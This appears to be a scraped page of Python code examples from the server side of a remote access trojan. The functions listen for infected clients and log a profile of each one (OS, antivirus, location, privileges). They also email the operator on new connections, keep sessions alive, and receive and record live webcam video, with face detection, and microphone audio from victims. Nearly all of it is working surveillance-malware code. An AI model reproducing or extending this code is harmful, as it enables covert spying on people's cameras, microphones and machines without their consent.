Exemplo n.º 1
0
def session_queue():
    while True:
        for index in range(len(state['sockets']['clients'][0])):
            if time.time() - state['sockets']['clients'][2][index][
                    'timer'] >= state['settings']['keep-alive-count']:
                state['settings']['dynamic']['queue'].append(
                    (state['sockets']['clients'][0][index], {
                        'message': 'bbCF2NNYjjTfHELUV9Y2qmkV'
                    }, False))
                state['sockets']['clients'][2][index]['timer'] = time.time()

        if state['settings']['dynamic']['queue']:
            for item in state['settings']['dynamic']['queue']:
                try:
                    send_data(
                        item[0], item[1], (state['settings']['encryption'],
                                           state['settings']['encoding'],
                                           state['settings']['headersize']),
                        {
                            'safe': state['options']['mode']['safe'],
                            'safe_timeout': state['settings']['safe-timeout']
                        })
                    data = recv_data(item[0],
                                     (state['settings']['encryption'],
                                      state['settings']['headersize']))

                    if item[2]:
                        state['session']['data'] = data
                except Exception as err:
                    write_error(err)

                    if item[2]:
                        exit_session(
                            False, {
                                'message':
                                'Timeout reached waiting for client response\nClient had to be disconnected',
                                'text_mode': 'danger'
                            })
                    elif state['session']['socket'] is item[0]:
                        exit_session(False)
                        print()
                        status_message(
                            'Timeout reached waiting for client response\nClient had to be disconnected',
                            'danger')

                    delete_client(index, False)
                finally:
                    state['settings']['dynamic']['queue'].remove(item)
        else:
            time.sleep(0.1)
Exemplo n.º 2
0
def bind_socket(ip, port, module_type, stdout=True):
    try:
        state['sockets']['modules'][module_type][0] = socket.socket(
            socket.AF_INET, socket.SOCK_STREAM)
        state['sockets']['modules'][module_type][0].bind((ip, int(port)))
        state['sockets']['modules'][module_type][0].listen()
    except Exception as err:
        write_error(err)
        state['sockets']['modules'][module_type][0] = None
        raise Exception('Socket binding error')
    else:
        if stdout:
            status_message(
                f'{module_type.capitalize()} address successfully bound',
                'success')
Exemplo n.º 3
0
    def func_wrapper(*args):
        try:
            number_of_arguments = len(args)

            if number_of_arguments == 1:
                func(args[0])
            elif number_of_arguments == 2:
                func(args[0], args[1])
            elif number_of_arguments == 3:
                func(args[0], args[1], args[2])
            elif number_of_arguments == 4:
                func(args[0], args[1], args[2], args[3])
            elif number_of_arguments == 5:
                func(args[0], args[1], args[2], args[3], args[4])
            elif number_of_arguments == 6:
                func(args[0], args[1], args[2], args[3], args[4], args[5])
            elif number_of_arguments == 7:
                func(args[0], args[1], args[2], args[3], args[4], args[5],
                     args[6])
        except Exception as err:
            write_error(err)

            if state['session']['active'] and func.__name__ in [
                    *state['sockets']['modules']
            ]:
                func_key = validate_dict_key(help_obj, f'{func.__name__}_2',
                                             False)
            elif func.__name__ == 'listening':
                func_key = validate_dict_key(help_obj, 'listen', False)
            else:
                func_key = validate_dict_key(help_obj, func.__name__, False)

            if func_key:
                status_message(
                    f'An exception was reached, please verify your input & try again\nUsage: {func_key["usage"]}',
                    'danger')
            else:
                status_message(
                    'Exception was reached, something went wrong\nPlease validate your input & try again',
                    'danger')
Exemplo n.º 4
0
def text_to_image(text):
    PIXEL_ON = 255
    PIXEL_OFF = 1

    grayscale = 'L'
    lines = tuple(l.rstrip() for l in text.split('\n'))

    large_font = 40
    font_path = 'cour.ttf'

    try:
        font = ImageFont.truetype(font_path, size=large_font)
    except IOError as err:
        write_error(err)
        font = ImageFont.load_default()

    pt2px = lambda pt: int(round(pt * 96.0 / 72))
    max_width_line = max(lines, key=lambda s: font.getsize(s)[0])
    test_string = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    max_height = pt2px(font.getsize(test_string)[1])
    max_width = pt2px(font.getsize(max_width_line)[0])
    height = max_height * len(lines)
    width = int(round(max_width + 40))
    image = Image.new(grayscale, (width, height), color=PIXEL_OFF)
    draw = ImageDraw.Draw(image)

    vertical_position = 5
    horizontal_position = 5
    line_spacing = int(round(max_height * 0.8))

    for line in lines:
        draw.text((horizontal_position, vertical_position),
                  line,
                  fill=PIXEL_ON,
                  font=font)
        vertical_position += line_spacing
    c_box = ImageOps.invert(image).getbbox()
    image = image.crop(c_box)

    return image
 def func_wrapper(*args):
   try:
     number_of_arguments = len(args)
     
     if number_of_arguments == 0:
       func()
     elif number_of_arguments == 1:
       func(args[0])
     elif number_of_arguments == 2:
       func(args[0], args[1])
     elif number_of_arguments == 3:
       func(args[0], args[1], args[2])
     elif number_of_arguments == 4:
       func(args[0], args[1], args[2], args[3])
     elif number_of_arguments == 5:
       func(args[0], args[1], args[2], args[3], args[4])
     elif number_of_arguments == 6:
       func(args[0], args[1], args[2], args[3], args[4], args[5])
     elif number_of_arguments == 7:
       func(args[0], args[1], args[2], args[3], args[4], args[5], args[6])
   except Exception as err:
     write_error(err)
     sys.exit(0)
Exemplo n.º 6
0
def program_setup():
    parser = argparse.ArgumentParser(description=state['description'])
    parser.add_argument('-ip',
                        '--ipv4',
                        default='localhost',
                        help='IP of host.')
    parser.add_argument('-p',
                        '--port',
                        type=int,
                        default=1200,
                        help='Port of host.')
    args = parser.parse_args()

    try:
        get_io_channels()
        threading.Thread(target=listening,
                         args=(args.ipv4, str(args.port), False),
                         daemon=True).start()
        for index, module in enumerate([*state['sockets']['modules']]):
            bind_socket(args.ipv4, str(args.port + (index + 1)), module, False)
    except Exception as err:
        write_error(err)
        status_message(
            'Socket binding error, please verify IP / port argument', 'danger',
            {'end': True})
        raise Exception('Argument parsing error')

    threading.Thread(target=session_queue, daemon=True).start()

    status_message(text_to_ascii(state['name']), 'pure', {'end': True})
    print()
    status_message(state['description'], 'pure', {'end': True})
    print()
    status_message(state['author'], 'pure', {'end': True})
    print()
    status_message(None, 'program')
Exemplo n.º 7
0
def cam_action(resolution, recognize, fit):
	try:
		headersize = state['settings']['headersize']
		encryption = state['settings']['encryption']
		encoding = state['settings']['encoding']
		username = state['session']['username']
		mode = [True, 0, b'']

		cam_id = random.randint(0, 100000)
		record = state['options']['information-gathering']['record']['cam-stream']
		client, addr = state['sockets']['modules']['cam'][0].accept()
		client_obj = (client, username, addr)
		state['sockets']['modules']['cam'][1].append(client_obj)

		if recognize:
			parent_folder = state['settings']['folders']['parent']
			child_folder = state['settings']['folders']['child'][2]
			faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}')
	
		if record:
			directories = ['modules', 'modules/cam-stream']
			username = state['session']['username']
			path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}'
			directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
			make_directories(directories_to_make)

			fourcc = cv2.VideoWriter_fourcc(*'XVID')
			out = cv2.VideoWriter(path, fourcc, 5.0, resolution)

		message = pickle.dumps(b' ')
		message = zlib.compress(message, 1)
		message = encryption.do_encrypt(message)
		final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
		client.send(final_msg)

		while True:
			client_msg = client.recv(81920)

			if mode[0]:
				mode[1] = int(client_msg[:headersize])
				mode[0] = False

			mode[2] += client_msg

			if len(mode[2])-headersize == mode[1]:
				frame = encryption.do_decrypt(mode[2][headersize:])
				frame = zlib.decompress(frame)
				frame = pickle.loads(frame)

				if recognize:
					faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE)

					for (x, y, w, h) in faces:
						cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2)

				if fit is None:
					cv2.namedWindow(f'{username} - Live cam (cam id: {cam_id})', cv2.WINDOW_NORMAL)
				
				cv2.imshow(f'{username} - Live cam (cam id: {cam_id})', frame)

				if record:
					out.write(frame)

				if cv2.waitKey(1) == 27:
					raise Exception('Close stream')
			
				real_msg = pickle.dumps(b' ')
				real_msg = zlib.compress(real_msg, 1)
				real_msg = encryption.do_encrypt(real_msg)
				final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
				client.send(final_msg)
				
				mode = [True, 0, b'']
	except Exception as err:
		write_error(err)
		try:
			state['sockets']['modules']['cam'][1].remove(client_obj)

			if record:
				out.release()
		except Exception as err:
			write_error(err)
		finally:
			sys.exit(0)
Exemplo n.º 8
0
def listening(host, port, stdout=True):
    try:
        state['sockets']['server'] = socket.socket(socket.AF_INET,
                                                   socket.SOCK_STREAM)
        state['sockets']['server'].bind((host, int(port)))
        state['sockets']['server'].listen()
    except Exception as err:
        write_error(err)
        state['sockets']['server'] = None

        if stdout:
            raise Exception('Socket binding error')
        else:
            sys.exit(0)
    else:
        if stdout:
            status_message(f'Listening on port {port}', 'success', {
                'dots': True,
                'point': 'dot'
            })

    while True:
        try:
            client, addr = state['sockets']['server'].accept()
        except Exception as err:
            write_error(err)
            break

        try:
            send_data(
                client, {
                    'message': 'CsBLDS4n5zPYq7JaxDjxWHK4',
                    'silent': state['options']['mode']['silent'],
                    'io_channels': state['settings']['io-channels']
                }, (state['settings']['encryption'],
                    state['settings']['encoding'],
                    state['settings']['headersize']), {
                        'safe': state['options']['mode']['safe'],
                        'safe_timeout': state['settings']['safe-timeout']
                    })
            data = recv_data(client, (state['settings']['encryption'],
                                      state['settings']['headersize']))
            data.update({'timer': time.time()})

            add_client = True

            if os.path.isfile(
                    f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'
            ):
                blacklist = read_file(
                    f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'
                ).decode(state['settings']['encoding']).strip().split('\n')
                for ip in blacklist:
                    try:
                        ip = socket.gethostbyname(ip)
                    except Exception as err:
                        write_error(err)

                    if addr[0] == ip:
                        add_client = False

            if not state['options']['validation']['duplicates']:
                for client_data_obj in state['sockets']['clients'][2]:
                    if data['username'] == client_data_obj['username']:
                        add_client = False

            if len(state['sockets']['clients']
                   [0]) >= state['options']['validation']['max-clients']:
                add_client = False

            if add_client:
                if state['options']['information-gathering']['history']:
                    make_directories([data['username']])
                    with open(
                            f'{state["root"]}/{data["username"]}/history.txt',
                            'a') as f:
                        f.write(
                            f'{data["username"]} connected at {get_timestamp()}\n'
                        )

                data_list = (client, addr, data)

                if state['options']['information-gathering']['whoami']:
                    make_directories([data['username']])
                    with open(f'{state["root"]}/{data["username"]}/whoami.txt',
                              'a') as f:
                        title = f'Whoami at {get_timestamp()}'
                        text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
                        f.write(f'{title}\n{text}\n{"-" * len(title)}\n')

                for index, item in enumerate(state['sockets']['clients']):
                    item.append(data_list[index])

                if state['options']['notice']['email-notice']:
                    send_email(
                        state['options']['notice']['email-data']['email'],
                        state['options']['notice']['email-data']['password'],
                        state['options']['notice']['email-data']['to'],
                        'Connection Notice!',
                        f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}'
                    )
            else:
                client.close()
        except Exception as err:
            write_error(err)
Exemplo n.º 9
0
def audio_action(write_stream):
  try:
    headersize = state['settings']['headersize']
    encryption = state['settings']['encryption']
    encoding = state['settings']['encoding']
    username = state['session']['username']
    mode = [True, 0, b'']
    frames = []

    p = pyaudio.PyAudio()
    CHUNK = 81920
    FORMAT = pyaudio.paInt16
    RATE = 44100
    CHANNELS = 2

    try:
      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
    except:
      CHANNELS = 1
      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
      
    record = state['options']['information-gathering']['record']['audio']
    client, addr = state['sockets']['modules']['audio'][0].accept()
    client_obj = (client, username, addr)
    state['sockets']['modules']['audio'][1].append(client_obj)

    message = pickle.dumps(b' ')
    message = zlib.compress(message, 1)
    message = encryption.do_encrypt(message)
    final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
    client.send(final_msg)

    while True:
      client_msg = client.recv(81920)

      if mode[0]:
        mode[1] = int(client_msg[:headersize])
        mode[0] = False

      mode[2] += client_msg

      if len(mode[2])-headersize == mode[1]:
        frame = encryption.do_decrypt(mode[2][headersize:])
        frame = zlib.decompress(frame)
        frame = pickle.loads(frame)

        if write_stream is None:
          stream.write(frame)

        frames.append(frame)

        real_msg = pickle.dumps(b' ')
        real_msg = zlib.compress(real_msg, 1)
        real_msg = encryption.do_encrypt(real_msg)
        final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
        client.send(final_msg)
        
        mode = [True, 0, b'']
  except Exception as err:
    write_error(err)
    try:
      if record:
        make_wave(['modules', 'modules/audio'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames))

      stream.stop_stream()
      stream.close()
      p.terminate()
      state['sockets']['modules']['audio'][1].remove(client_obj)
    except Exception as err:
      write_error(err)
    finally:
      sys.exit(0)